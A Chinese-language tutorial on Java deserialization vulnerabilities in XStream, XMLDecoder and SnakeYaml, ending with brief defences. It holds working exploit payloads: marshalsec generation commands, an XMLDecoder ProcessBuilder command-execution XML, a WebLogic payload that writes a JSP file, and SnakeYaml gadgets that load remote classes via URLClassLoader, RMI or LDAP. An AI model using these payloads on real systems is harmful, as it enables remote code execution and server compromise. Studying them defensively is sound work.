大多数 java 项目用来处理数据基本上都是xml 和 json 两种格式,上篇讲了fastjson的反序列化,另一个json处理库jackson的漏洞原理和利用方式类似。
这篇主讲xml和yaml格式数据的处理,xml处理库主要有Xmldecoder和XStream;Yaml类似于XML,如常见的docker-compose.yml,其最主流的处理库是SnakeYaml,其他还有jyaml、YAMLBeans等,但较为少见。
1、Xstream
1) 序列化:
请求参数由JavaBean转化成XML形式,用到的是toXML()方法:
2)反序列化:
新建反序列化类,对用户输入的xml文件进行解析,使用fromXML()方法,这里xml文件内容为:
执行结果为如下,这是因为1.4.10 版本新增了一个通过 XStream.setupDefaultSecurity 方法来初始化安全框架的功能,但默认不被调用。
3)复现:
这里还是使用工具生成恶意poc.xml,1.4.10版本存在CVE-2019-10173漏洞,但使用的payload和 CVE-2013-7285没有区别:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc"> poc.xml
生成的payload为:
执行效果为:
Gadgets不只ImageIO这一个,其他还有:
CommonsConfiguration, Rome, CommonsBeanutils,ServiceLoader, ImageIO,BindingEnumeration, LazySearchEnumeration,SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder,Resin, XBean
在实际测试中可根据代码引用包选择payload,结合JNDI进行攻击,如:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp
2、Xmldecoder
1)序列化:
用XMLEncoder生成hashmap对象的xml,标签里指定了类名,方法名,参数等信息:
2)反序列化:
将xml用XMLDecoder解析(反序列化):
3)复现:
这里修改一下xml文件的内容:
<java version="1.8.0_131"class="java.beans.XMLDecoder"> <objectclass="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <voidindex="0"><string>calc</string></void> </array> <void method="start"></void> </object> </java>
看代码里的 object 标签内的class值是被实例化的类名,array 标签里是 ProcessBuilder 对象的构造参数,void 标签指定了 method 参数为 start,组合起来就是执行命令的payload:
new java.lang.ProcessBuilder(newString[]{"calc"}).start();
而攻击Weblogic 的XMLDecoder payload只需要把xml文件改一下:
<java version="1.4.0" class="java.beans.XMLDecoder">
<objectclass="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"><string><![CDATA[ blue]]></string></void><voidmethod="close"/></object></java>
3、SnakeYaml
1) 序列化:
Yaml 使用dump()方法将一个对象转化为yaml文件形式,这里”!!”用于强制类型转化,如果没有”!”就是个key为字符串的Map。
2)反序列化:
使用load()方法将字符串或文件反序列化为一个Java对象,和xml、json很类似:
3)原理:
SnakeYaml全版本存在反序列化漏洞,当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
类比下Fastjson的反序列化的类方法调用,同样调用了反序列化的类的构造函数和yaml格式内容中包含的属性的setter方法,这里可以在yaml.load(s)处打断点,可跟踪SnakeYaml反序列化的调用链。
4)复现
这里使用基于:
javax.script.ScriptEngineManager
的利用链进行攻击,ScriptEngineManager类用于Java和JavaScript之间的调用,可调用此类达到命令执行的效果。
和json反序列化的攻击方法类似,使用远程调用方法,先写poc.java,实现ScriptEngineManager接口并写入恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:
另外还需在已放置poc.class的第三方Web服务根目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名poc:
最后是模拟一个场景,TEST类:
poc模拟用户输入,内容为:
!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]]
这样可通过ScriptEngineManager来访问特定服务器的恶意class文件执行任意命令,效果:
至于为什么要创建META-INF/services目录,经调试可以发现在利用链init()中调用了initEngines(),它会去寻找目标URL中META-INF/services下的javax.script.ScriptEngineFactory的文件,找到指定文件便会加载其内容。
除此之外还有其他Gadgets,如
!!com.sun.rowset.JdbcRowSetImpl\ndataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit:true"
5)防御手段:
A.禁止Yaml.load()函数参数外部可控;
B.过滤用户可控的参数内容,可使用SafeConstructor对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;